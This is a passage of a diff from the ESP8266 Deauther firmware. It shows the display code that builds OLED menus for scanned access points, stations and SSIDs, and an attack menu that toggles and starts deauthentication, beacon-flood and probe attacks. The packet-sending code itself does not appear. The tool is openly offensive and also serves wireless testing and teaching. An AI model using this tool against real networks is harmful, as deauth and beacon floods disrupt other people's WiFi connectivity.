}, NULL); // Vendor: INTEL
|
||||
addMenuNode(&stationMenu, [this]() {
|
||||
return str(D_AP) + stations.getAPStr(selectedID); // AP: someAP
|
||||
}, [this]() {
|
||||
int apID = accesspoints.find(stations.getAP(selectedID));
|
||||
|
||||
if (apID >= 0) {
|
||||
selectedID = apID;
|
||||
changeMenu(&apMenu);
|
||||
}
|
||||
});
|
||||
addMenuNode(&stationMenu, [this]() {
|
||||
return str(D_PKTS) + String(*stations.getPkts(selectedID));
|
||||
}, NULL); // Pkts: 12
|
||||
addMenuNode(&stationMenu, [this]() {
|
||||
return str(D_CHANNEL) + String(stations.getCh(selectedID));
|
||||
}, NULL); // Channel: 11
|
||||
addMenuNode(&stationMenu, [this]() {
|
||||
return str(D_SEEN) + stations.getTimeStr(selectedID);
|
||||
}, NULL); // Seen: <1min
|
||||
|
||||
addMenuNode(&stationMenu, [this]() {
|
||||
return stations.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT
|
||||
}, [this]() {
|
||||
stations.getSelected(selectedID) ? stations.deselect(selectedID) : stations.select(selectedID);
|
||||
});
|
||||
addMenuNode(&stationMenu, D_REMOVE, [this]() { // REMOVE
|
||||
stations.remove(selectedID);
|
||||
stationListMenu.list->remove(stationListMenu.selected);
|
||||
goBack();
|
||||
});
|
||||
});
|
||||
|
||||
// NAME MENU
|
||||
createMenu(&nameMenu, &nameListMenu, [this]() {
|
||||
addMenuNode(&nameMenu, [this]() {
|
||||
return names.getSelectedStr(selectedID) + names.getName(selectedID); // <station name>
|
||||
}, [this]() {
|
||||
names.getSelected(selectedID) ? names.deselect(selectedID) : names.select(selectedID);
|
||||
});
|
||||
addMenuNode(&nameMenu, [this]() {
|
||||
return names.getMacStr(selectedID);
|
||||
}, NULL); // 00:11:22:00:11:22
|
||||
addMenuNode(&nameMenu, [this]() {
|
||||
return str(D_VENDOR) + names.getVendorStr(selectedID);
|
||||
}, NULL); // Vendor: INTEL
|
||||
addMenuNode(&nameMenu, [this]() {
|
||||
return str(D_AP) + names.getBssidStr(selectedID);
|
||||
}, NULL); // AP: 00:11:22:00:11:22
|
||||
addMenuNode(&nameMenu, [this]() {
|
||||
return str(D_CHANNEL) + (String)names.getCh(selectedID);
|
||||
}, NULL); // Channel: 11
|
||||
|
||||
addMenuNode(&nameMenu, [this]() {
|
||||
return names.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT
|
||||
}, [this]() {
|
||||
names.getSelected(selectedID) ? names.deselect(selectedID) : names.select(selectedID);
|
||||
});
|
||||
addMenuNode(&nameMenu, D_REMOVE, [this]() { // REMOVE
|
||||
names.remove(selectedID);
|
||||
nameListMenu.list->remove(nameListMenu.selected);
|
||||
goBack();
|
||||
});
|
||||
});
|
||||
|
||||
// SSID MENU
|
||||
createMenu(&ssidMenu, &ssidListMenu, [this]() {
|
||||
addMenuNode(&ssidMenu, [this]() {
|
||||
return ssids.getName(selectedID).substring(0, ssids.getLen(selectedID));
|
||||
}, NULL); // SSID
|
||||
addMenuNode(&ssidMenu, [this]() {
|
||||
return str(D_ENCRYPTION) + ssids.getEncStr(selectedID); // WPA2
|
||||
}, [this]() {
|
||||
ssids.setWPA2(selectedID, !ssids.getWPA2(selectedID));
|
||||
});
|
||||
addMenuNode(&ssidMenu, D_REMOVE, [this]() { // REMOVE
|
||||
ssids.remove(selectedID);
|
||||
ssidListMenu.list->remove(ssidListMenu.selected);
|
||||
goBack();
|
||||
});
|
||||
});
|
||||
|
||||
// ATTACK MENU
|
||||
createMenu(&attackMenu, &mainMenu, [this]() {
|
||||
addMenuNode(&attackMenu, [this]() { // *DEAUTH 0/0
|
||||
if (attack.isRunning()) return leftRight(b2a(deauthSelected) + str(D_DEAUTH),
|
||||
(String)attack.getDeauthPkts() + SLASH +
|
||||
(String)attack.getDeauthMaxPkts(), maxLen - 1);
|
||||
else return leftRight(b2a(deauthSelected) + str(D_DEAUTH), (String)scan.countSelected(), maxLen - 1);
|
||||
}, [this]() { // deauth
|
||||
deauthSelected = !deauthSelected;
|
||||
|
||||
if (attack.isRunning()) {
|
||||
attack.start(beaconSelected, deauthSelected, false, probeSelected, true,
|
||||
settings::getAttackSettings().timeout * 1000);
|
||||
}
|
||||
});
|
||||
addMenuNode(&attackMenu, [this]() { // *BEACON 0/0
|
||||
if (attack.isRunning()) return leftRight(b2a(beaconSelected) + str(D_BEACON),
|
||||
(String)attack.getBeaconPkts() + SLASH +
|
||||
(String)attack.getBeaconMaxPkts(), maxLen - 1);
|
||||
else return leftRight(b2a(beaconSelected) + str(D_BEACON), (String)ssids.count(), maxLen - 1);
|
||||
}, [this]() { // beacon
|
||||
beaconSelected = !beaconSelected;
|
||||
|
||||
if (attack.isRunning()) {
|
||||
attack.start(beaconSelected, deauthSelected, false, probeSelected, true,
|
||||
settings::getAttackSettings().timeout * 1000);
|
||||
}
|
||||
});
|
||||
addMenuNode(&attackMenu, [this]() { // *PROBE 0/0
|
||||
if (attack.isRunning()) return leftRight(b2a(probeSelected) + str(D_PROBE),
|
||||
(String)attack.getProbePkts() + SLASH +
|
||||
(String)attack.getProbeMaxPkts(), maxLen - 1);
|
||||
else return leftRight(b2a(probeSelected) + str(D_PROBE), (String)ssids.count(), maxLen - 1);
|
||||
}, [this]() { // probe
|
||||
probeSelected = !probeSelected;
|
||||
|
||||
if (attack.isRunning()) {
|
||||
attack.start(beaconSelected, deauthSelected, false, probeSelected, true,
|
||||
settings::getAttackSettings().timeout * 1000);
|
||||
}
|
||||
});
|
||||
addMenuNode(&attackMenu, [this]() { // START
|
||||
return leftRight(str(attack.isRunning() ? D_STOP_ATTACK : D_START_ATTACK),
|
||||
attack.getPacketRate() > 0 ? (String)attack.getPacketRate() : String(), maxLen - 1);
|
||||
}, [this]() {
|
||||
if (attack.isRunning()) attack.stop();
|
||||
else attack.start(beaconSelected, deauthSelected, false, probeSelected, true,
|
||||
settings::getAttackSettings().timeout * 1000);
|
||||
});
|
||||
});
|
||||
|
||||
// CLOCK MENU
|
||||
createMenu(&clockMenu, &mainMenu, [this]() {
|
||||
addMenuNode(&clockMenu, D_CLOCK_DISPLAY, [this]() { // CLOCK
|
||||
mode = DISPLAY_MODE::CLOCK_DISPLAY;
|
||||
display.setFont(ArialMT_Plain_24);
|
||||
display.setTextAlignment(TEXT_ALIGN_CENTER);
|
||||
});
|
||||
addMenuNode(&clockMenu, D_CLOCK_SET, [this]() { // CLOCK SET TIME
|
||||
mode = DISPLAY_MODE::CLOCK;
|
||||
display.setFont(ArialMT_Plain_24);
|
||||
display.setTextAlignment(TEXT_ALIGN_CENTER);
|
||||
});
|
||||
});
|
||||
|
||||
// ===================== //
|
||||
|
||||
// set current menu to main menu
|
||||
changeMenu(&mainMenu);
|
||||
enabled = true;
|
||||
startTime = currentTime;
|
||||
}
|
||||
|
||||
#ifdef HIGHLIGHT_LED
|
||||
void DisplayUI::setupLED() {
|
||||
pinMode(HIGHLIGHT_LED, OUTPUT);
|
||||
digitalWrite(HIGHLIGHT_LED, HIGH);
|
||||
highlightLED = true;
|
||||
}
|
||||
|
||||
#endif // ifdef HIGHLIGHT_LED
|
||||
|
||||
void DisplayUI::update(bool force) {
|
||||
if (!enabled) return;
|
||||
|
||||
up->update();
|
||||
down->update();
|
||||
a->update();
|
||||
b->update();
|
||||
|
||||
draw(force);
|
||||
|
||||
uint32_t timeout = settings::getDisplaySettings().timeout * 1000;
|
||||
|
||||
if (currentTime > timeout) {
|
||||
if (!tempOff) {
|
||||
if (buttonTime < currentTime - timeout) off();
|
||||
} else {
|
||||
if (buttonTime > currentTime - timeout) on();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void DisplayUI::on() {
|
||||
if (enabled) {
|
||||
configOn();
|
||||
tempOff = false;
|
||||
buttonTime = currentTime; // update a button time to keep display on
|
||||
prntln(D_MSG_DISPLAY_ON);
|
||||
} else {
|
||||
prntln(D_ERROR_NOT_ENABLED);
|
||||
}
|
||||
}
|
||||
|
||||
void DisplayUI::off() {
|
||||
if (enabled) {
|
||||
configOff();
|
||||
tempOff = true;
|
||||
prntln(D_MSG_DISPLAY_OFF);
|
||||
} else {
|
||||
prntln(D_ERROR_NOT_ENABLED);
|
||||
}
|
||||
}
|
||||
|
||||
void DisplayUI::setupButtons() {
|
||||
up = new ButtonPullup(BUTTON_UP);
|
||||
down = new ButtonPullup(BUTTON_DOWN);
|
||||
a = new ButtonPullup(BUTTON_A);
|
||||
b = new ButtonPullup(BUTTON_B);
|
||||
|
||||
// === BUTTON UP === //
|
||||
up->setOnClicked([this]() {
|
||||
scrollCounter = 0;
|
||||
scrollTime = currentTime;
|
||||
buttonTime = currentTime;
|
||||
|
||||
if (!tempOff) {
|
||||
if (mode == DISPLAY_MODE::MENU) { // when in menu, go up or down with cursor
|
||||
if (currentMenu->selected > 0) currentMenu->selected--;
|
||||
else currentMenu->selected = currentMenu->list->size() - 1;
|
||||
} else if (mode == DISPLAY_MODE::PACKETMONITOR) { // when in packet monitor, change channel
|
||||
scan.setChannel(wifi_channel + 1);
|
||||
} else if (mode == DISPLAY_MODE::CLOCK) { // when in clock, change time
|
||||
setTime(clockHour, clockMinute + 1, clockSecond);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
up->setOnHolding([this]() {
|
||||
scrollCounter = 0;
|
||||
scrollTime = currentTime;
|
||||
buttonTime = currentTime;
|
||||
if (!tempOff) {
|
||||
if (mode == DISPLAY_MODE::MENU) { // when in menu, go up or down with cursor
|
||||
if (currentMenu->selected > 0) currentMenu->selected--;
|
||||
else currentMenu->selected = currentMenu->list->size() - 1;
|
||||
} else if (mode == DISPLAY_MODE::PACKETMONITOR) { // when in packet monitor, change channel
|
||||
scan.setChannel(wifi_channel + 1);
|
||||
} else if (mode == DISPLAY_MODE::CLOCK) { // when in clock, change time
|
||||
setTime(clockHour, clockMinute + 10, clockSecond);
|
||||
}
|
||||
}
|
||||
}, buttonDelay);
|
||||
|
||||
// === BUTTON DOWN === //
|
||||
down->setOnClicked([this]() {
|
||||
scrollCounter = 0;
|
||||
scrollTime = currentTime;
|
||||
buttonTime = currentTime;
|
||||
if (!tempOff) {
|
||||
if (mode == DISPLAY_MODE::MENU) { // when in menu, go up or down with cursor
|
||||
if (currentMenu->selected < currentMenu->list->size() - 1) currentMenu->selected++;
|
||||
else currentMenu->selected = 0;
|
||||
} else if (mode == DISPLAY_MODE::PACKETMONITOR) { // when in packet monitor, change channel
|
||||
scan.setChannel(wifi_channel - 1);
|
||||
} else if (mode == DISPLAY_MODE::CLOCK) { // when in clock, change time
|
||||
setTime(clockHour, clockMinute - 1, clockSecond);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
down->setOnHolding([this]() {
|
||||
scrollCounter = 0;
|
||||
scrollTime = currentTime;
|
||||
buttonTime = currentTime;
|
||||
if (!tempOff) {
|
||||
if (mode == DISPLAY_MODE::MENU) { // when in menu, go up or down with cursor
|
||||
if (currentMenu->selected < currentMenu->list->size() - 1) currentMenu->selected++;
|
||||
else currentMenu->selected = 0;
|
||||
} else if (mode == DISPLAY_MODE::PACKETMONITOR) { // when in packet monitor, change channel
|
||||
scan.setChannel(wifi_channel - 1);
|
||||
}
|
||||
|
||||
else if (mode == DISPLAY_MODE::CLOCK) { // when in clock, change time
|
||||
setTime(clockHour, clockMinute - 10, clockSecond);
|
||||
}
|
||||
}
|
||||
}, buttonDelay);
|
||||
|
||||
// === BUTTON A === //
|
||||
a->setOnClicked([this]() {
|
||||
scrollCounter = 0;
|
||||
scrollTime = currentTime;
|
||||
buttonTime = currentTime;
|
||||
if (!tempOff) {
|
||||
switch (mode) {
|
||||
case DISPLAY_MODE::MENU:
|
||||
|
||||
if (currentMenu->list->get(currentMenu->selected).click) {
|
||||
currentMenu->list->get(currentMenu->selected).click();
|
||||
}
|
||||
break;
|
||||
|
||||
case DISPLAY_MODE::PACKETMONITOR:
|
||||
case DISPLAY_MODE::LOADSCAN:
|
||||
scan.stop();
|
||||
mode = DISPLAY_MODE::MENU;
|
||||
break;
|
||||
|
||||
case DISPLAY_MODE::CLOCK:
|
||||
case DISPLAY_MODE::CLOCK_DISPLAY:
|
||||
mode = DISPLAY_MODE::MENU;
|
||||
display.setFont(DejaVu_Sans_Mono_12);
|
||||
display.setTextAlignment(TEXT_ALIGN_LEFT);
|
||||
break;
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
a->setOnHolding([this]() {
|
||||
scrollCounter = 0;
|
||||
scrollTime = currentTime;
|
||||
buttonTime = currentTime;
|
||||
if (!tempOff) {
|
||||
if (mode == DISPLAY_MODE::MENU) {
|
||||
if (currentMenu->list->get(currentMenu->selected).hold) {
|
||||
currentMenu->list->get(currentMenu->selected).hold();
|
||||
}
|
||||
}
|
||||
}
|
||||
}, 800);
|
||||
|
||||
// === BUTTON B === //
|
||||
b->setOnClicked([this]() {
|
||||
scrollCounter = 0;
|
||||
scrollTime = currentTime;
|
||||
buttonTime = currentTime;
|
||||
if (!tempOff) {
|
||||
switch (mode) {
|
||||
case DISPLAY_MODE::MENU:
|
||||
goBack();
|
||||
break;
|
||||
|
||||
case DISPLAY_MODE::PACKETMONITOR:
|
||||
case DISPLAY_MODE::LOADSCAN:
|
||||
scan.stop();
|
||||
mode = DISPLAY_MODE::MENU;
|
||||
break;
|
||||
|
||||
case DISPLAY_MODE::CLOCK:
|
||||
mode = DISPLAY_MODE::MENU;
|
||||
display.setFont(DejaVu_Sans_Mono_12);
|
||||
display.setTextAlignment(TEXT_ALIGN_LEFT);
|
||||
break;
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
String DisplayUI::getChannel() {
|
||||
String ch = String(wifi_channel);
|
||||
|
||||
if (ch.length() < 2) ch = ' ' + ch;
|
||||
return ch;
|
||||
}
|
||||
|
||||
void DisplayUI::draw(bool force) {
|
||||
if (force || ((currentTime - drawTime > drawInterval) && currentMenu)) {
|
||||
drawTime = currentTime;
|
||||
|
||||
updatePrefix();
|
||||
|
||||
#ifdef RTC_DS3231
|
||||
bool h12;
|
||||
bool PM_time;
|
||||
clockHour = clock.getHour(h12, PM_time);
|
||||
clockMinute = clock.getMinute();
|
||||
clockSecond = clock.getSecond();
|
||||
#else // ifdef RTC_DS3231
|
||||
if (currentTime - clockTime >= 1000) {
|
||||
setTime(clockHour, clockMinute, ++clockSecond);
|
||||
clockTime += 1000;
|
||||
}
|
||||
#endif // ifdef RTC_DS3231
|
||||
|
||||
switch (mode) {
|
||||
case DISPLAY_MODE::BUTTON_TEST:
|
||||
drawButtonTest();
|
||||
break;
|
||||
|
||||
case DISPLAY_MODE::MENU:
|
||||
drawMenu();
|
||||
break;
|
||||
|
||||
case DISPLAY_MODE::LOADSCAN:
|
||||
drawLoadingScan();
|
||||
break;
|
||||
|
||||
case DISPLAY_MODE::PACKETMONITOR:
|
||||
drawPacketMonitor();
|
||||
break;
|
||||
|
||||
case DISPLAY_MODE::INTRO:
|
||||
if (!scan.isScanning() && (currentTime - startTime >= screenIntroTime)) {
|
||||
mode = DISPLAY_MODE::MENU;
|
||||
}
|
||||
drawIntro();
|
||||
break;
|
||||
case DISPLAY_MODE::CLOCK:
|
||||
case DISPLAY_MODE::CLOCK_DISPLAY:
|
||||
drawClock();
|
||||
break;
|
||||
case DISPLAY_MODE::RESETTING:
|
||||
drawResetting();
|
||||
break;
|
||||
}
|
||||
|
||||
updateSuffix();
|
||||
}
|
||||
}
|
||||
|
||||
void DisplayUI::drawButtonTest() {
|
||||
drawString(0, str(D_UP) + b2s(up->read()));
|
||||
drawString(1, str(D_DOWN) + b2s(down->read()));
|
||||
drawString(2, str(D_A) + b2s(a->read()));
|
||||
drawString(3, str(D_B) + b2s(b->read()));
|
||||
}
|
||||
|
||||
void DisplayUI::drawMenu() {
|
||||
String tmp;
|
||||
int tmpLen;
|
||||
int row = (currentMenu->selected / 5) * 5;
|
||||
|
||||
// correct selected if it's off
|
||||
if (currentMenu->selected < 0) currentMenu->selected = 0;
|
||||
else if (currentMenu->selected >= currentMenu->list->size()) currentMenu->selected = currentMenu->list->size() - 1;
|
||||
|
||||
// draw menu entries
|
||||
for (int i = row; i < currentMenu->list->size() && i < row + 5; i++) {
|
||||
tmp = currentMenu->list->get(i).getStr();
|
||||
tmpLen = tmp.length();
|
||||
|
||||
// horizontal scrolling
|
||||
if ((currentMenu->selected == i) && (tmpLen >= maxLen)) {
|
||||
tmp = tmp + tmp;
|
||||
tmp = tmp.substring(scrollCounter, scrollCounter + maxLen - 1);
|
||||
|
||||
if (((scrollCounter > 0) && (scrollTime < currentTime - scrollSpeed)) || ((scrollCounter == 0) && (scrollTime < currentTime - scrollSpeed * 4))) {
|
||||
scrollTime = currentTime;
|
||||
scrollCounter++;
|
||||
}
|
||||
|
||||
if (scrollCounter > tmpLen) scrollCounter = 0;
|
||||
}
|
||||
|
||||
tmp = (currentMenu->selected == i ? CURSOR : SPACE) + tmp;
|
||||
drawString(0, (i - row) * 12, tmp);
|
||||
}
|
||||
}
|
||||
|
||||
void DisplayUI::drawLoadingScan() {
|
||||
String percentage;
|
||||
|
||||
if (scan.isScanning()) {
|
||||
percentage = String(scan.getPercentage()) + '%';
|
||||
} else {
|
||||
percentage = str(DSP_SCAN_DONE);
|
||||
}
|
||||
|
||||
drawString(0, leftRight(str(DSP_SCAN_FOR), scan.getMode(), maxLen));
|
||||
drawString(1, leftRight(str(DSP_APS), String(accesspoints.count()), maxLen));
|
||||
drawString(2, leftRight(str(DSP_STS), String(stations.count()), maxLen));
|
||||
drawString(3, leftRight(str(DSP_PKTS), String(scan.getPacketRate()) + str(DSP_S), maxLen));
|
||||
drawString(4, center(percentage, maxLen));
|
||||
}
|
||||
|
||||
void DisplayUI::drawPacketMonitor() {
|
||||
double scale = scan.getScaleFactor(sreenHeight - lineHeight - 2);
|
||||
|
||||
String headline = leftRight(str(D_CH) + getChannel() + String(' ') + String('[') + String(scan.deauths) + String(']'), String(scan.getPacketRate()) + str(D_PKTS), maxLen);
|
||||
|
||||
drawString(0, 0, headline);
|
||||
|
||||
if (scan.getMaxPacket() > 0) {
|
||||
int i = 0;
|
||||
int x = 0;
|
||||
int y = 0;
|
||||
|
||||
while (i < SCAN_PACKET_LIST_SIZE && x < screenWidth) {
|
||||
y = (sreenHeight-1) - (scan.getPackets(i) * scale);
|
||||
i++;
|
||||
|
||||
// Serial.printf("%d,%d -> %d,%d\n", x, (sreenHeight-1), x, y);
|
||||
drawLine(x, (sreenHeight-1), x, y);
|
||||
x++;
|
||||
|
||||
// Serial.printf("%d,%d -> %d,%d\n", x, (sreenHeight-1), x, y);
|
||||
drawLine(x, (sreenHeight-1), x, y);
|
||||
x++;
|
||||
}
|
||||
// Serial.println("---------");
|
||||
}
|
||||
}
|
||||
|
||||
void DisplayUI::drawIntro() {
|
||||
drawString(0, center(str(D_INTRO_0), maxLen));
|
||||
drawString(1, center(str(D_INTRO_1), maxLen));
|
||||
drawString(2, center(str(D_INTRO_2), maxLen));
|
||||
drawString(3, center(DEAUTHER_VERSION, maxLen));
|
||||
if (scan.isScanning()) {
|
||||
if (currentTime - startTime >= screenIntroTime+4500) drawString(4, left(str(D_SCANNING_3), maxLen));
|
||||
else if (currentTime - startTime >= screenIntroTime+3000) drawString(4, left(str(D_SCANNING_2), maxLen));
|
||||
else if (currentTime - startTime >= screenIntroTime+1500) drawString(4, left(str(D_SCANNING_1), maxLen));
|
||||
else if (currentTime - startTime >= screenIntroTime) drawString(4, left(str(D_SCANNING_0), maxLen));
|
||||
}
|
||||
}
|
||||
|
||||
void DisplayUI::drawClock() {
|
||||
String clockTime = String(clockHour);
|
||||
|
||||
clockTime += ':';
|
||||
if (clockMinute < 10) clockTime += '0';
|
||||
clockTime += String(clockMinute);
|
||||
|
||||
display.drawString(64, 20, clockTime);
|
||||
}
|
||||
|
||||
void DisplayUI::drawResetting() {
|
||||
drawString(2, center(str(D_RESETTING), maxLen));
|
||||
}
|
||||
|
||||
void DisplayUI::clearMenu(Menu* menu) {
|
||||
while (menu->list->size() > 0) {
|
||||
menu->list->remove(0);
|
||||
}
|
||||
}
|
||||
|
||||
void DisplayUI::changeMenu(Menu* menu) {
|
||||
if (menu) {
|
||||
// only open list menu if it has nodes
|
||||
if (((menu == &apListMenu) && (accesspoints.count() == 0)) ||
|
||||
((menu == &stationListMenu) && (stations.count() == 0)) ||
|
||||
((menu == &nameListMenu) && (names.count() == 0))) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (currentMenu) clearMenu(currentMenu);
|
||||
currentMenu = menu;
|
||||
currentMenu->selected = 0;
|
||||
buttonTime = currentTime;
|
||||
|
||||
if (selectedID < 0) selectedID = 0;
|
||||
|
||||
if (currentMenu->parentMenu) {
|
||||
addMenuNode(currentMenu, D_BACK, currentMenu->parentMenu); // add [BACK]
|
||||
currentMenu->selected = 1;
|
||||
}
|
||||
|
||||
if (currentMenu->build) currentMenu->build();
|
||||
}
|
||||
}
|
||||
|
||||
void DisplayUI::goBack() {
|
||||
if (currentMenu->parentMenu) changeMenu(currentMenu->parentMenu);
|
||||
}
|
||||
|
||||
void DisplayUI::createMenu(Menu* menu, Menu* parent, std::function<void()>build) {
|
||||
menu->list = new SimpleList<MenuNode>;
|
||||
menu->parentMenu = parent;
|
||||
menu->selected = 0;
|
||||
menu->build = build;
|
||||
}
|
||||
|
||||
void DisplayUI::addMenuNode(Menu* menu, std::function<String()>getStr, std::function<void()>click,
|
||||
std::function<void()>hold) {
|
||||
menu->list->add(MenuNode{ getStr, click, hold });
|
||||
}
|
||||
|
||||
void DisplayUI::addMenuNode(Menu* menu, std::function<String()>getStr, std::function<void()>click) {
|
||||
addMenuNode(menu, getStr, click, NULL);
|
||||
}
|
||||
|
||||
void DisplayUI::addMenuNode(Menu* menu, std::function<String()>getStr, Menu* next) {
|
||||
addMenuNode(menu, getStr, [this, next]() {
|
||||
changeMenu(next);
|
||||
});
|
||||
}
|
||||
|
||||
void DisplayUI::addMenuNode(Menu* menu, const char* ptr, std::function<void()>click) {
|
||||
addMenuNode(menu, [ptr]() {
|
||||
return str(ptr);
|
||||
}, click);
|
||||
}
|
||||
|
||||
void DisplayUI::addMenuNode(Menu* menu, const char* ptr, Menu* next) {
|
||||
addMenuNode(menu, [ptr]() {
|
||||
return str(ptr);
|
||||
}, next);
|
||||
}
|
||||
|
||||
void DisplayUI::setTime(int h, int m, int s) {
|
||||
if (s >= 60) {
|
||||
s = 0;
|
||||
m++;
|
||||
}
|
||||
|
||||
if (m >= 60) {
|
||||
m = 0;
|
||||
h++;
|
||||
}
|
||||
|
||||
if (h >= 24) {
|
||||
h = 0;
|
||||
}
|
||||
|
||||
if (s < 0) {
|
||||
s = 59;
|
||||
m--;
|
||||
}
|
||||
|
||||
if (m < 0) {
|
||||
m = 59;
|
||||
h--;
|
||||
}
|
||||
|
||||
if (h < 0) {
|
||||
h = 23;
|
||||
}
|
||||
|
||||
clockHour = h;
|
||||
clockMinute = m;
|
||||
clockSecond = s;
|
||||
|
||||
#ifdef RTC_DS3231
|
||||
clock.setHour(clockHour);
|
||||
clock.setMinute(clockMinute);
|
||||
clock.setSecond(clockSecond);
|
||||
#endif // ifdef RTC_DS3231
|
||||
}
|
|
@ -1,670 +0,0 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "language.h"
|
||||
#include "A_config.h"
|
||||
#include "Names.h"
|
||||
#include "SSIDs.h"
|
||||
#include "Scan.h"
|
||||
#include "Attack.h"
|
||||
|
||||
// ===== adjustable ===== //
|
||||
#if defined(SSD1306_I2C)
|
||||
#include <Wire.h>
|
||||
#include "src/esp8266-oled-ssd1306-4.1.0/SSD1306Wire.h"
|
||||
#elif defined(SSD1306_SPI)
|
||||
#include <SPI.h>
|
||||
#include "src/esp8266-oled-ssd1306-4.1.0/SSD1306Spi.h"
|
||||
#elif defined(SH1106_I2C)
|
||||
#include <Wire.h>
|
||||
#include "src/esp8266-oled-ssd1306-4.1.0/SH1106Wire.h"
|
||||
#elif defined(SH1106_SPI)
|
||||
#include <SPI.h>
|
||||
#include "src/esp8266-oled-ssd1306-4.1.0/SH1106Spi.h"
|
||||
#endif /* if defined(SSD1306_I2C) */
|
||||
|
||||
#ifdef RTC_DS3231
|
||||
#include "src/DS3231-1.0.3/DS3231.h"
|
||||
#endif // ifdef RTC_DS3231
|
||||
|
||||
#include "src/SimpleButton/SimpleButton.h"
|
||||
|
||||
using namespace simplebutton;
|
||||
|
||||
|
||||
extern Names names;
|
||||
extern SSIDs ssids;
|
||||
extern Accesspoints accesspoints;
|
||||
extern Stations stations;
|
||||
extern Scan scan;
|
||||
extern Attack attack;
|
||||
extern uint32_t currentTime;
|
||||
|
||||
extern String leftRight(String a, String b, int len);
|
||||
extern String center(String a, int len);
|
||||
extern String left(String a, int len);
|
||||
extern String right(String a, int len);
|
||||
extern String leftRight(String a, String b, int len);
|
||||
extern String replaceUtf8(String str, String r);
|
||||
|
||||
const char D_INTRO_0[] PROGMEM = "ESP8266 Deauther";
|
||||
const char D_INTRO_1[] PROGMEM = "by @Spacehuhn";
|
||||
const char D_INTRO_2[] PROGMEM = DISPLAY_TEXT;
|
||||
const char D_RESETTING[] PROGMEM = "Resetting...";
|
||||
const char D_SCANNING_0[] PROGMEM = "> Scanning";
|
||||
const char D_SCANNING_1[] PROGMEM = "> Scanning.";
|
||||
const char D_SCANNING_2[] PROGMEM = "> Scanning..";
|
||||
const char D_SCANNING_3[] PROGMEM = "> Scanning...";
|
||||
|
||||
struct MenuNode {
|
||||
std::function<String()>getStr; // function used to create the displayed string
|
||||
std::function<void()> click; // function that is executed when node is clicked
|
||||
std::function<void()> hold; // function that is executed when node is pressed for > 800ms
|
||||
};
|
||||
|
||||
struct Menu {
|
||||
SimpleList<MenuNode>* list;
|
||||
Menu * parentMenu;
|
||||
uint8_t selected;
|
||||
std::function<void()> build; // function that is executed when button is clicked
|
||||
};
|
||||
|
||||
enum class DISPLAY_MODE { OFF,
|
||||
BUTTON_TEST,
|
||||
MENU,
|
||||
LOADSCAN,
|
||||
PACKETMONITOR,
|
||||
INTRO,
|
||||
CLOCK,
|
||||
CLOCK_DISPLAY,
|
||||
RESETTING };
|
||||
|
||||
class DisplayUI {
|
||||
public:
|
||||
DISPLAY_MODE mode = DISPLAY_MODE::MENU;
|
||||
bool highlightLED = false;
|
||||
|
||||
Button* up = NULL;
|
||||
Button* down = NULL;
|
||||
Button* a = NULL;
|
||||
Button* b = NULL;
|
||||
|
||||
// ===== adjustable ===== //
|
||||
#if defined(SSD1306_I2C)
|
||||
SSD1306Wire display = SSD1306Wire(I2C_ADDR, I2C_SDA, I2C_SCL);
|
||||
#elif defined(SSD1306_SPI)
|
||||
SSD1306Spi display = SSD1306Spi(SPI_RES, SPI_DC, SPI_CS);
|
||||
#elif defined(SH1106_I2C)
|
||||
SH1106Wire display = SH1106Wire(I2C_ADDR, I2C_SDA, I2C_SCL);
|
||||
#elif defined(SH1106_SPI)
|
||||
SH1106Spi display = SH1106Spi(SPI_RES, SPI_DC, SPI_CS);
|
||||
#endif /* if defined(SSD1306_I2C) */
|
||||
|
||||
const uint8_t maxLen = 18;
|
||||
const uint8_t lineHeight = 12;
|
||||
const uint8_t buttonDelay = 250;
|
||||
const uint8_t drawInterval = 100; // 100ms = 10 FPS
|
||||
const uint16_t scrollSpeed = 500; // time interval in ms
|
||||
const uint16_t screenIntroTime = 2500;
|
||||
const uint16_t screenWidth = 128;
|
||||
const uint16_t sreenHeight = 64;
|
||||
|
||||
void configInit();
|
||||
void configOn();
|
||||
void configOff();
|
||||
void updatePrefix();
|
||||
void updateSuffix();
|
||||
void drawString(int x, int y, String str);
|
||||
void drawString(int row, String str);
|
||||
void drawLine(int x1, int y1, int x2, int y2);
|
||||
// ====================== //
|
||||
|
||||
DisplayUI();
|
||||
~DisplayUI();
|
||||
|
||||
void setup();
|
||||
#ifdef HIGHLIGHT_LED
|
||||
void setupLED();
|
||||
#endif // ifdef HIGHLIGHT_LED
|
||||
|
||||
void update(bool force = false);
|
||||
void on();
|
||||
void off();
|
||||
|
||||
private:
|
||||
int16_t selectedID = 0; // i.e. access point ID to draw the apMenu
|
||||
uint8_t scrollCounter = 0; // for horizontal scrolling
|
||||
|
||||
uint32_t scrollTime = 0; // last time a character was moved
|
||||
uint32_t drawTime = 0; // last time a frame was drawn
|
||||
uint32_t startTime = 0; // when the screen was enabled
|
||||
uint32_t buttonTime = 0; // last time a button was pressed
|
||||
|
||||
bool enabled = false; // display enabled
|
||||
bool tempOff = false;
|
||||
|
||||
// selected attack modes
|
||||
bool beaconSelected = false;
|
||||
bool deauthSelected = false;
|
||||
bool probeSelected = false;
|
||||
|
||||
// menus
|
||||
Menu* currentMenu;
|
||||
|
||||
Menu mainMenu;
|
||||
|
||||
Menu scanMenu;
|
||||
Menu showMenu;
|
||||
Menu attackMenu;
|
||||
Menu clockMenu;
|
||||
|
||||
Menu apListMenu;
|
||||
Menu stationListMenu;
|
||||
Menu nameListMenu;
|
||||
Menu ssidListMenu;
|
||||
|
||||
Menu apMenu;
|
||||
Menu stationMenu;
|
||||
Menu nameMenu;
|
||||
Menu ssidMenu;
|
||||
|
||||
void setupButtons();
|
||||
|
||||
String getChannel();
|
||||
|
||||
// draw functions
|
||||
void draw(bool force = false);
|
||||
void drawButtonTest();
|
||||
void drawMenu();
|
||||
void drawLoadingScan();
|
||||
void drawPacketMonitor();
|
||||
void drawIntro();
|
||||
void drawResetting();
|
||||
void clearMenu(Menu* menu);
|
||||
|
||||
// menu functions
|
||||
void changeMenu(Menu* menu);
|
||||
